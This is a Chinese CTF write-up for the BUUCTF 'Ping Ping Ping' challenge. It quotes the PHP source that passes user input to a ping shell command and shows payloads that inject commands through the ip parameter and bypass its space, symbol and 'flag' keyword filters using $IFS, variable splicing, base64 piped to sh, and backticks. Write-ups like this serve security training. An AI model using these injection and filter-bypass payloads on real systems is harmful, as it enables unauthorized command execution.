buu-Ping Ping Ping

打开题目,是一道rce

先随便测试一下

 

可以正常请求了

用管道符拼接下,执行ls命令

直接发现了flag.php

二话不说,直接cat

 

显然空格被过滤了,果然没这么简单

空格被过滤的话有几种解决方法

$IFS
${IFS}
$IFS$1
< 
<> 

重新构造payload:ip=127.0.0.1;cat$IFS$1flag.php

 

 发现flag也被过滤了

还是老老实实的先看下index.php吧

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

 

解决方法有3种

1.拼接绕过

其实就是引用变量

payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

成功得到flag

 

 

这里要注意的就是

else if(preg_match("/.*f.*l.*a.*g.*/", $ip))

这个匹配的是一个字符串中是否按顺序出现flag四个字母

例如payload:?ip=127.0.0.1;a=f;cat$IFS$1$alag.php

这个就不能绕过了

2.编码绕过

直接构造payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

因为bash被过滤掉了,所以用sh替代

也能成功得到flag

3.内联执行

就是将反引号内命令的输出作为输入执行

构造payload:?ip=127.0.0.1;cat$IFS$1`ls`

直接把ls命令查看到的文件全都cat到了

也是成功得到flag

 

 

posted @ 2021-06-03 13:44  c0d1  阅读(136)  评论(0)    收藏  举报